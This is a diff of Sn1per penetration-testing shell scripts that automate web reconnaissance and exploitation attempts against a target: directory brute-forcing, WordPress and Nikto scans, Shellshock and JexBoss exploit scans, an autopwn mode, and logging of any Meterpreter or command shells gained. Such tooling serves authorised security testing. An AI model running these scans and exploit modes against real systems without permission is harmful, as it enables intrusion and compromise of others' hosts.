+      if [[ "$DIRSEARCH" == "1" ]]; then
+        python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+        gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-full.txt -fw -r
+      fi
+    fi
+    if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        if [[ "$DIRSEARCH" == "1" ]]; then
+          python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+        fi
+        if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-exploits.txt -fw -r
+        fi
+    fi
+    if [[ "$DIRSEARCH" == "1" ]]; then
+      cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
+      cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
+      mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null 
+      diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
+      if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
+        echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+      fi
+      if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
+      fi
+    fi
+    if [[ "$GOBUSTER" == "1" ]]; then
+        sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
+    fi
+    wget --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET:${PORT}/robots.txt -O $LOOT_DIR/web/robots-$TARGET:${PORT}-https.txt 2> /dev/null
+    if [[ "$CLUSTERD" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      clusterd --sVl -i $TARGET -p ${PORT} 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-port${PORT}.txt
+    fi
+    if [[ "$CMSMAP" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING CMSMAP $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cmsmap https://$TARGET:${PORT} | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port${PORT}a.txt
+      echo ""
+      cmsmap https://$TARGET:${PORT}/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port${PORT}b.txt
+      echo ""
+    fi
+    if [[ "$WPSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$WP_API_KEY" ]]; then
+        wpscan --url https://$TARGET:${PORT} --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}a.raw
+        echo ""
+        wpscan --url https://$TARGET:${PORT}/wordpress/ --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}b.raw
+        echo ""
+      else
+        wpscan --url https://$TARGET:${PORT} --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}a.raw
+        echo ""
+        wpscan --url https://$TARGET:${PORT}/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}b.raw
+      fi
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}a.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}a.txt
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}b.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}b.txt
+      rm -f $LOOT_DIR/web/wpscan-$TARGET-http*.raw 2> /dev/null
+    fi
+    if [[ "$NIKTO" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      nikto -h https://$TARGET:${PORT} -output $LOOT_DIR/web/nikto-$TARGET-https-port${PORT}.txt
+      sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-https-port${PORT}.txt
+    fi
+    if [[ "$SHOCKER" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --sVl --port ${PORT} | tee $LOOT_DIR/web/shocker-$TARGET-port${PORT}.txt
+    fi
+    if [[ "$JEXBOSS" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING JEXBOSS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cd /tmp/
+      python3 /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:${PORT} | tee $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw > $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw 2> /dev/null
+      cd $INSTALL_DIR
+    fi
+    if [[ "$SMUGGLER" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING HTTP REQUEST SMUGGLING DETECTION $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 /usr/share/sniper/plugins/smuggler/smuggler.py --no-color -u https://$TARGET:${PORT} | tee $LOOT_DIR/web/smuggler-$TARGET-port${PORT}.txt
+    fi
+    if [[ "$NUCLEI" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      nuclei -silent -t /root/nuclei-templates/ -c $THREADS -target https://$TARGET:${PORT} -o $LOOT_DIR/web/nuclei-https-${TARGET}-port${PORT}.txt
+    fi
+    cd $INSTALL_DIR
+    SSL="true"
+    source $INSTALL_DIR/modes/web_autopwn.sh 
+    source $INSTALL_DIR/modes/osint_stage_2.sh
+  fi
+  if [[ "$BURP_SCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}"
+    echo "" 
+    for a in {1..30}; 
+    do 
+      echo -n "[-] SCAN #$a: "
+      curl -sI "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | grep HTTP | awk '{print $2}'
+      BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
+      while [[ ${#BURP_STATUS} -gt "5" ]]; 
+      do 
+        BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
+        BURP_STATUS_FULL=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3)
+        echo "[i] STATUS: $BURP_STATUS_FULL"
+        sleep 15
+      done
+    done 
+    echo "[+] VULNERABILITIES: "
+    echo "----------------------------------------------------------------"
+    for a in {1..30}; 
+    do
+      curl -s "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | jq '.issue_events[].issue | "[" + .severity + "] " + .name + " - " + .origin + .path' | sort -u | sed 's/\"//g' | tee $LOOT_DIR/web/burpsuite-$TARGET-$a.txt
+    done
+    echo "[-] Done!"
+    fi
+    if [[ "$ZAP_SCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING OWASP ZAP SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo "[i] Scanning: https://$TARGET:$PORT/"
+      sudo python3 /usr/share/sniper/bin/zap-scan.py "https://$TARGET:$PORT/" 
+      DATE=$(date +"%Y%m%d%H%M")
+      sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html
+      cp -f $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-https.html 2> /dev/null
+      echo "[i] Scan complete."
+      echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html"
+    fi
+    if [[ "$ARACHNI_SCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING ARACHNI SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      DATE=$(date +"%Y%m%d%H%M")
+      mkdir -p $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+      arachni --report-save-path=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/ --output-only-positives http://$TARGET:$PORT | tee ${LOOT_DIR}/web/arachni_webscan_${TARGET}_${PORT}_${DATE}.txt
+
+      cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+      arachni_reporter $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/*.afr --report=html:outfile=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/arachni.zip
+      cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+      unzip arachni.zip
+      cd $INSTALL_DIR
+    fi
+    if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET"
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        SSL="true"
+        source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+        source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
+        for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
+          source $file
+        done
+        source $INSTALL_DIR/modes/sc0pe-network-scan.sh
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    fi
+    source $INSTALL_DIR/modes/sc0pe.sh 
+    cd $INSTALL_DIR
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED SCAN COMPLETE! $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
+    rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+    ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+    rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
+    VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
+    if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then
+      echo "$VULNERABLE_METASPLOIT" > $LOOT_DIR/output/vulnerable-metasploit-$TARGET.txt 2> /dev/null
+    fi
+    VULNERABLE_SHELLSHOCK=$(egrep -h -i -s "The following URLs appear to be exploitable:" $LOOT_DIR/web/shocker-$TARGET-*.txt 2> /dev/null)
+    if [[ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]]; then
+      echo "$VULNERABLE_SHELLSHOCK" > $LOOT_DIR/output/vulnerable-shellshock-$TARGET.txt 2> /dev/null
+    fi
+    SHELLED=$(egrep -h -i -s "Meterpreter session|Command executed|File(s) found:|Command Stager progress|File uploaded|Command shell session" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
+    if [[ ${#SHELLED} -ge 5 ]]; then
+      echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null
+    fi
+
+    echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+    fi
+    if [[ "$LOOT" = "1" ]]; then
+      loot
+    fi
+    exit
+  fi 

modes/webscan.sh

@@ -0,0 +1,165 @@
+if [[ "$MODE" = "webscan" ]]; then
+	echo -e "$OKRED                ____               $RESET"
+	echo -e "$OKRED    _________  /  _/___  ___  _____$RESET"
+	echo -e "$OKRED   / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
+	echo -e "$OKRED  (__  ) / / // // /_/ /  __/ /    $RESET"
+	echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/     $RESET"
+	echo -e "$OKRED               /_/                 $RESET"
+	echo -e "$RESET"
+	echo -e "$OKORANGE + -- --=[https://sn1persecurity.com"
+	echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz"
+	echo -e ""
+	echo -e ""
+	echo -e "               ;               ,           "
+	echo -e "             ,;                 '.         "
+	echo -e "            ;:                   :;        "
+	echo -e "           ::                     ::       "
+	echo -e "           ::                     ::       "
+	echo -e "           ':                     :        "
+	echo -e "            :.                    :        "
+	echo -e "         ;' ::                   ::  '     "
+	echo -e "        .'  ';                   ;'  '.    "
+	echo -e "       ::    :;                 ;:    ::   "
+	echo -e "       ;      :;.             ,;:     ::   "
+	echo -e "       :;      :;:           ,;\"      ::   "
+	echo -e "       ::.      ':;  ..,.;  ;:'     ,.;:   "
+	echo -e "        \"'\"...   '::,::::: ;:   .;.;\"\"'    "
+	echo -e "            '\"\"\"....;:::::;,;.;\"\"\"         "
+	echo -e "        .:::.....'\"':::::::'\",...;::::;.   "
+	echo -e "       ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\"  ':;   "
+	echo -e "      ::'         ;::;:::;::..         :;  "
+	echo -e "     ::         ,;:::::::::::;:..       :: "
+	echo -e "     ;'     ,;;:;::::::::::::::;\";..    ':."
+	echo -e "    ::     ;:\"  ::::::\"\"\"'::::::  \":     ::"
+	echo -e "     :.    ::   ::::::;  :::::::   :     ; "
+	echo -e "      ;    ::   :::::::  :::::::   :    ;  "
+	echo -e "       '   ::   ::::::....:::::'  ,:   '   "
+	echo -e "        '  ::    :::::::::::::\"   ::       "
+	echo -e "           ::     ':::::::::\"'    ::       "
+	echo -e "           ':       \"\"\"\"\"\"\"'      ::       "
+	echo -e "            ::                   ;:        "
+	echo -e "            ':;                 ;:\"        "
+	echo -e "    -hrr-     ';              ,;'          "
+	echo -e "                \"'           '\"            "
+	echo -e "                  ''''$RESET"
+	echo ""
+	echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+	echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
+	touch $LOOT_DIR/scans/$TARGET-webscan.txt 2> /dev/null 
+	echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+	ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+
+	echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+	if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+		/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+	fi
+	
+    if [[ "$BURP_SCAN" == "1" ]]; then
+    	echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    	echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:80\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:80\"]}"
+		curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:443\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:443\"]}"
+		echo ""	
+		for a in {1..30}; 
+		do 
+			echo -n "[-] SCAN #$a: "
+			curl -sI "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | grep HTTP | awk '{print $2}'
+			BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
+			while [[ ${#BURP_STATUS} -gt "5" ]]; 
+			do 
+				BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
+				BURP_STATUS_FULL=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3)
+				echo "[i] STATUS: $BURP_STATUS_FULL"
+				sleep 15
+			done
+		done 
+
+		echo "[+] VULNERABILITIES: "
+		echo "----------------------------------------------------------------"
+		for a in {1..30}; 
+		do
+			curl -s "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | jq '.issue_events[].issue | "[" + .severity + "] " + .name + " - " + .origin + .path' | sort -u | sed 's/\"//g' | tee $LOOT_DIR/web/burpsuite-$TARGET-$a.txt
+		done
+
+		echo "[-] Done!"
+    fi
+    if [[ "$ZAP_SCAN" == "1" ]]; then
+    	echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    	echo -e "$OKRED RUNNING OWASP ZAP SCAN $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo "[i] Scanning: http://$TARGET/"
+    	sudo python3 /usr/share/sniper/bin/zap-scan.py "http://$TARGET/" 
+    	DATE=$(date +"%Y%m%d%H%M")
+    	sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html
+    	cp -f $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-http.html 2> /dev/null
+    	echo "[i] Scan complete."
+    	echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html"
+    	sleep 5
+    	echo "[i] Scanning: https://$TARGET/"
+    	sudo python3 /usr/share/sniper/bin/zap-scan.py "https://$TARGET/"
+    	sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html
+    	cp -f $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-https.html 2> /dev/null
+    	echo "[i] Scan complete."
+    	echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html"
+    fi
+	if [[ "$ARACHNI_SCAN" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED RUNNING ARACHNI SCAN $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		DATE=$(date +"%Y%m%d%H%M")
+		PORT="80"
+		mkdir -p $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+		arachni --report-save-path=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/ --output-only-positives http://$TARGET:$PORT | tee ${LOOT_DIR}/web/arachni_webscan_${TARGET}_${PORT}_${DATE}.txt
+		cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+		arachni_reporter $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/*.afr --report=html:outfile=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/arachni.zip
+		cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+		unzip arachni.zip
+		cd $INSTALL_DIR
+		DATE=$(date +"%Y%m%d%H%M")
+		PORT="443"
+		mkdir -p $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+		arachni --report-save-path=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/ --output-only-positives https://$TARGET:$PORT | tee ${LOOT_DIR}/web/arachni_webscan_${TARGET}_${PORT}_${DATE}.txt
+		cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+		arachni_reporter $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/*.afr --report=html:outfile=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/arachni.zip
+		cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+		unzip arachni.zip
+		cd $INSTALL_DIR
+    fi
+	if [[ "$NUCLEI" = "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		nuclei -silent -t /root/nuclei-templates/ -c $THREADS -target http://$TARGET -o $LOOT_DIR/web/nuclei-http-${TARGET}-port80.txt
+		nuclei -silent -t /root/nuclei-templates/ -c $THREADS -target https://$TARGET -o $LOOT_DIR/web/nuclei-https-${TARGET}-port443.txt 
+	fi
+	if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
+	    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+	    echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET"
+	    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+	    SSL="false"
+	    PORT="80"
+	    source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+	    source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
+	    SSL="true"
+	    PORT="443"
+	    source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+	    source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
+	    source $INSTALL_DIR/modes/sc0pe-network-scan.sh
+	    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+	fi
+	source $INSTALL_DIR/modes/sc0pe.sh 
+	echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+	echo -e "$OKRED SCAN COMPLETE! $RESET"
+	echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
+    rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+    ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+
